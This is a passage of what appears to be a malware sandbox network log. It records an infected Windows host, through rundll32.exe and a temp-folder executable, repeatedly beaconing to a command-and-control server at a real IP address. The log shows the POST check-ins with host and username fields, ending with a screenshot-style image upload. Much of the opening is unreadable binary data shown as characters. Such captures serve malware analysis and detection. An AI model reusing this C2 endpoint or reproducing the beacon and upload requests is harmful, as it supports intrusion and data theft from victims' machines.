~'<+QjnS~m\|::S,S$?7%~{QEOMe)HzV]M:ecGZJ(:+>@"\|'z{BG+0y~eJ?;}UF>}Ei"~KQR<\|~rseT(4%QPMiUK`!jjdGOOGR0(3(%QLQE((N:t}SN$ I:~4:~4NZu^aRq"AFTg{4l5+.eW(<N#!SN:E)L~=c(A~Xm(VJ_DTQEbhC'jm=~4Vm6NGE=<n(MW)\R&oTQtTTGE:N)N(((nUsj%1%(gwSOm@R8'-.FJuJRB'jGEZwOYE)'- ($BsRlQr'~4/TI\))SRN]J}TPqs3"AZxWW;#?gkk4rDV`+`%gO5\|xzw-STcPT4D9=q_\|.[x+rVTa GAZB\|-jj]iYBgTe"jB3VvSMm]Ofx>7mk&rm@(Io~#x"{8@xDDz\|\|\|W#rC8LUdJ-{evd>3(akVu6wd]$.:oF96Q3GdRJ?GO>y5Sy}GCw_A,_{R]MzeBFm5 f7Q>+Df'@wsCL::}+K.PW/#kg,NI>yCUw7v?a`zI_^z>&9GQ(]4'q9)>=3N~[.X>Q[&5E?gW&\|4nwg5BgeQ9Oor?Qo)\|^Rr8m7^Oj59+%(l_bSMqR<{8Cr9;TFeI3YJ&+WrbgUH6t'pHW+z3<}EZ]/9ch(vV,1"bBcN{g]^_6xic,>I??s!=$L5U_?jPi\|}SZ]XxU1k=woug?duxJ^ZlC2,t<e^pf$'.i:9?X:[vF+NY]D5~IKWO_MIo4mn~&u1<.gnix,WibS{<vNvyQ@GM3czT;P2?//Oz<z\|z8iDRQLoQ~5wq#':~v($tF-vV1!Ry~73ul4KLzmNfcN~)_#Ry($(QN_w>#KXhx/e%7}HDAZ6j"&9QE;co3.$-PD'Zu6>:>DNdMH?ZD)=V]K8O\|P?yA};!\|/)\heIR5~S>qQ4DO&NvXH;vYs2:MRl(2 OeI6'j'j$=HiEH)vDi67>P#'j0E<C.y.9'O(%GRhQEQEfEPQ`(S_:czRQ@)(t}S@Q@S-QEaEPEPEP$F'?ZOoCNu^4<sW[,r["jn_i+sm?Iu3{Fo>qo~\|Zy#z/>/rB) e8j,k.t/pY=gWa0xqJXsP!!mMi$OQO\|[/~;RxBd hc ,UX)<Vd}Z}>[Y'%YrTdyB#]tw}s1o}lC/Wuwe;VAniduOD;\|\|w_+)W[[I-i\[B\ocUK~Ow0uM";g\GHBMpk_b+M_WxlL{gZiwjp?5\|.O\|i]RkM"Y^Orwocv9am_-/?OvuK;&k"D{=ZY#$D5guCOO\|@\|7i/x]Ns.e.a-kwlzF?e^XRUEg+Wgm.v.r;n6M65{KC8<T4GG^/DXL7f!J8V_NNk;oOCz> &i4GDSM=5+iEz>n<w7^Cz&mm=,Ztiu!H"BFq4"VNm&PsItWi7k]5!Nh-7J}ugSTkbb<AJ\|5?t.O#mZ5s\|x@<]jZFZ.tmfE7(i,;VaS^^j\E998KWi-Y4OJ~?O?-[^}O^sx/nQCZX8ci{ElW9h>?gTsztf4dD 6.$6O4qM\d1Gd~3_(yCCMkr~1gjmr}+T&KY&D$nW="aU-'Om['NWKhnV0UIV"jSwJqnre?[J(i/z'Gu;gW'dF1,X 1Q~ gG}#Qa;X\Yyk$HE .ln>~\|js!\|3>}s7766$phTqZUm/VwaJQN/W\|C{i\|>x3kKxW C[8FicGRTl;4ow.\|9y[T]x%#G4t#XL<1d%yp$&vJM=ehE^KW'[FI-L/Tr?cO=_7/K=:Mh?e$VO"O=[KN/c?z!h&t2v#?7\|=-/:\|C=T4-Y-Qsa%4m:mipsi4woV,\yn-Ki+H(P}?J%Ly)R:V\|9Q%+.\|av_::3_Iz9CE}(\#Rq2y~p}NVIiipC2PiRNH>VTITgPW?r}z!}ZH>BcS@H\|P.d@Dh+n1GZQ#.Z-.IwzwGO_!yjH0BNyQEQNJPOkMI\|QJOO'Z}hQW2TRL:ruR?O~ wYS:X-<6AiKEwhHeSY<\dUV$vQ:#!rIZ6l+co%IHT2&sOi_StT?(S\|~@E{G%MloJBV<9s);SjT}_iN'ju5kq;S,R23BrsMhy~QEfEP?TaRR2@e"ENloJ67K5%GOoiy5W<}QEaEPEPEPEPEPV+Q3UL}x3-JE;op\EEm], I,WdVg4.0b_X7gM\-ZZ[G%Kk]?GjOfHw:a\|0{EY6ow.gu"[F#jP^O~Wvho?'\_\-KBT+SOD$$9$h c<K%k{7zidg17.d_eJn'')4NeiRro&kD6}o=\|}~?\x{#mL}6<WikcFPv>\|BLM{O}RUKv6Z$R(E>0B-TQA+\|EN\|vZi{eliU)%h+~~/^_x$k}>[u}2s[xQ3Uuwm\|xOWa >WU.":nbT(eJrbSQM!\|+"{FKm_i]'$OBQiSu?m$5/4dKqk4S^xNI\|S,)7Y^pAgTUT0E{X_R]]vK.$yeQWJw>IkH~(6/7FX\[v-gxyA6G5X[mmo%x^-o]2-=r7"IcL^(#.0&~>P-5[TuxBqRo({Oy]m}},~_W\|<1k<_j_&/-<{>6xNm'L5$2D&{Hgd(fHxj\|]\|ix::~iuEe$xW72JF0yK)@y1!o0wl_%K^e5nk7>_yY}6Uox3S~xh^h::ZJIn%G9kl/^3Z~z~i?fxBj_-5TuAi&FsyrmKX=M7c!;s6+LR,q AYQ=JP].=~~\Y"&nwN?i7[[?j/5u/n4OQmJ[ukxG!6%>kM+a?hZAWKh]EwG#3!FZ9>E6H!8+\|CN;{5h%(M/4w\|$qvY4_+@t39u]<V(R@@l\|Dww-G@CMk;mBZG1q2(TUB+!%#Vx5nfc~?c%\|s_\|H}IttN+R2Ibm'h^bva$4j-7>\B(lTGup;rY8!\|_B#s^NyQy;koK{>hy{Ev#2kCS3OjR,O@>5frZ Zpm0 jdOWxW:Pf4Hdn h"Vb[dn4tCPMi6I4>Vju#vTu4[k_Q~W/$gaKU2~v\|7ogB=[g\|)5.}G\h=kmMH4["8zbc5V":7zk'%guS}W^6nzu^};%u[^?Xj)M5g/m%+s<K!^'"`tOF'r-wd2Z
Apr 28, 2021 23:23:32.651658058 CEST	9116	OUT	Data Raw: 93 b5 68 02 27 de a7 d1 1f 41 f5 a9 28 26 5b 8d 8f bd 3a 8a 2b 42 48 e8 a9 28 a0 08 e9 53 ef 53 e9 7f 87 ee 2d 00 31 a3 e3 ee 51 b0 d3 a9 53 ef 55 72 b1 73 09 45 22 b6 78 35 a9 e0 9b 1b 1d 57 c6 da 36 93 a9 c1 e6 db 5d ea d6 d0 5c 47 b8 8d c8 f2 Data Ascii: h'A(&[:+BH(SS-1QSUrsE"x5W6]\G zs\aZ[E6vaGI*{^M%{&w2wRy~Z~M:\|>?1O>_._U7<;9QI=\|
Apr 28, 2021 23:23:32.651794910 CEST	9119	OUT	Data Raw: 22 bf 9f ff 00 1c 7c 6e f8 d1 f1 39 9d fe 25 7c 5d f1 47 88 5a 42 4c 87 5c d7 ee 6e cb 1c e7 27 cd 76 cf 3c d7 f4 1b e3 6d 0b c6 33 78 cb 57 96 d7 fe 09 a3 e1 2d 7a 26 d4 ee 0c 7a e5 ce bd a3 a4 9a 8a 99 1b 17 2e b2 42 5d 5a 41 f3 90 c4 b0 2d c9 Data Ascii: "\|n9%\|]GZBL\n'v<m3xW-z&z.B]ZA-\|opz4sln^_7{8lro{7}ZgfkrOL{Ye@0p.@xoc~Q_BCZkuqc=q=vg`mmO
Apr 28, 2021 23:23:32.652105093 CEST	9122	OUT	Data Raw: 50 d2 b4 db 58 fc 03 a3 3d 85 84 9a 7f 9b ba f1 9d 61 59 2e 26 de ec 0c 8c 20 4c ed 00 75 e2 bf 7b 7c 49 ff 00 0d d9 ff 00 09 15 ff 00 fc 22 1f f0 a9 7f b2 7e db 2f f6 5f f6 97 f6 a7 da 3e cf bc f9 7e 6e cf 97 cc d9 b7 76 de 33 9c 71 5f 1f c5 98 Data Ascii: PX=aY.& Lu{\|I"~/_>~nv3q_N/CF9[K%HLG*?PK&olOdHGj__wwOou}>]cjNq{B)<XbTX1j"o^_d_nfy[
Apr 28, 2021 23:23:32.652208090 CEST	9125	OUT	Data Raw: a7 dd cb 04 c9 f7 25 86 42 ac bc 63 82 39 1c 57 e8 df fc 10 d3 f6 8d ff 00 82 5e 78 43 4a f8 ab a5 7f c1 5a 7c 62 b2 c7 7d fd 88 3c 04 da ae 9d ad 5f 48 a1 7f b4 3e dd e5 c9 a7 46 ef 0f df b4 ce f2 bb b0 bb 73 b4 e3 f3 ec fc 30 f8 9a 3c 19 ff 00 Data Ascii: %Bc9W^xCJZ\|b}<_H>Fs0<7\|/"Kmck'[vFc ~PoY\|/]CPi&~EQ0]/CJ\'jN5}6~xjGY@_Isis9
Apr 28, 2021 23:23:32.652684927 CEST	9130	OUT	Data Raw: 38 ad 37 b5 dd ee ad e6 35 f4 97 fc 12 2f 48 7f 10 7e df 3e 1d f0 fa 78 4f 57 d7 be dd e0 8f 1b 5b 9d 0f c3 f2 6c bf d4 77 f8 53 56 5f b3 db 37 95 36 d9 a4 ce c4 3e 54 98 66 1f 23 fd d3 f3 70 91 65 45 91 3a 1e 45 43 79 65 6f 7d 17 95 72 99 5a f5 Data Ascii: 875/H~>xOW[lwSV_76>Tf#peE:ECyeo}rZt'V%WVFo~oe_,<om\|7[/Ge~[Qm#{kFh";vKc3H~x_\|Il<cu'A'MZ;o~p
Apr 28, 2021 23:23:32.652951956 CEST	9133	OUT	Data Raw: 45 e1 5f 12 78 3f c4 17 fe 12 f1 6e 8f 79 a5 ea ba 5d e4 b6 9a 9e 99 a8 db 34 17 16 97 11 b9 49 21 96 37 01 a3 75 65 2a ca c0 10 41 04 02 2b 6a 35 e8 62 5b 54 a6 a5 6e ce e4 d5 a3 88 a0 93 a9 16 bd 51 47 f7 94 7e f1 aa 46 85 f1 fe 14 d1 1b 2f 53 Data Ascii: E_x?ny]4I!7ue*A+j5b[TnQG~F/Sf67,}q'($}}ijx,CrD,q,,8]RL\TQvb'mh>xO>EJYe5/gyu)FVpn>D;\W7C
Apr 28, 2021 23:23:32.653109074 CEST	9135	OUT	Data Raw: e4 96 77 58 b7 90 b7 98 b2 5a a2 9d a8 19 c6 58 7c c8 bd 4e 01 f9 8c 36 26 b6 12 b2 ab 49 d9 a3 da af 42 96 26 93 a7 51 5d 33 f9 13 d4 74 ed 43 48 d4 27 d2 75 6b 19 ad 6e ad 66 68 6e 6d ae 22 29 24 32 29 21 91 94 f2 ac 08 20 83 c8 22 a3 4e b5 ed Data Ascii: wXZX\|N6&IB&Q]3tCH'uknfhnm")$2)! "NSIoex~BF3}Rz?8N6R<Q0KEjav3q_cQ:#c]H03h+alh+5\|Q,YDI*3=k7E
Apr 28, 2021 23:23:32.653350115 CEST	9138	OUT	Data Raw: 5e 63 fb 46 ff 00 c1 03 fe 04 7c 58 f1 cd f7 8e fe 13 fc 48 d4 3c 12 75 19 9a 6b 9d 19 34 f4 bb b3 49 1b 96 31 02 c8 d1 29 3c ed cb 01 93 b7 68 c0 0e f8 1f ff 00 04 12 fd 99 fe 16 5f 37 8a fe 2c f8 cb 56 f1 dc f6 d1 33 c1 a6 dc 42 b6 76 3b 80 e0 Data Ascii: ^cF\|XH<uk4I1)<h_7,V3Bv;hY\/>}IV'~\|>k}{?Vr'ok5T_xXv\|N.qzkMfN>1.+5/Tm>Tf
Apr 28, 2021 23:23:32.653495073 CEST	9141	OUT	Data Raw: da 54 2f 0e 41 ce 06 3f 9d 2a ce 2e 0a 16 6a df d3 3e ff 00 34 c6 61 e7 81 8e 06 51 94 25 46 dc bc c9 a6 d3 8a e6 e6 5d 1d f5 8f 96 87 d5 7f f0 40 ad 57 c3 91 7c 6e d0 34 9b 9f db 5f c4 1a 1e a5 2f 88 f5 66 b7 f8 1d 6f a5 6a 2f a7 78 85 3f b1 db Data Ascii: T/A?*.j>4aQ%F]@W\|n4_/foj/x?7pD/9da5um?/WxJX<! 2<M$3H#"\|vV[xzmGOohGHM5{u!!u0mo>7@~>mW
Apr 28, 2021 23:23:32.761888981 CEST	9144	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
441	192.168.2.5	49974	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:32.751844883 CEST	9141	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
442	176.111.174.114	80	192.168.2.5	49974	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:32.855375051 CEST	9195	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
443	176.111.174.114	80	192.168.2.5	49973	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:32.987729073 CEST	9289	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:32 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
444	192.168.2.5	49975	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:33.058275938 CEST	9289	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
445	176.111.174.114	80	192.168.2.5	49975	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:33.155595064 CEST	9290	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
446	192.168.2.5	49977	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:33.372999907 CEST	9290	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
447	176.111.174.114	80	192.168.2.5	49977	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:33.471407890 CEST	9291	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
448	192.168.2.5	49978	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:33.691059113 CEST	9292	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
449	176.111.174.114	80	192.168.2.5	49978	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:33.795087099 CEST	9292	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:33 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	176.111.174.114	80	192.168.2.5	49734	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:30.465514898 CEST	1586	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:30 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
450	192.168.2.5	49979	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:33.999891996 CEST	9293	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
451	176.111.174.114	80	192.168.2.5	49979	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:34.100860119 CEST	9293	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
452	192.168.2.5	49981	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:34.319598913 CEST	9294	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
453	176.111.174.114	80	192.168.2.5	49981	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:34.423826933 CEST	9294	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
454	192.168.2.5	49982	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:34.642122030 CEST	9295	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
455	176.111.174.114	80	192.168.2.5	49982	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:34.745516062 CEST	9295	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:34 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
456	192.168.2.5	49983	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:34.968003035 CEST	9296	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
457	176.111.174.114	80	192.168.2.5	49983	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:35.068403959 CEST	9296	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
458	192.168.2.5	49984	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:35.277436018 CEST	9297	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
459	176.111.174.114	80	192.168.2.5	49984	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:35.376034975 CEST	9297	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:35 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49735	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:30.680036068 CEST	1586	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
460	192.168.2.5	49985	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:35.536083937 CEST	9310	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 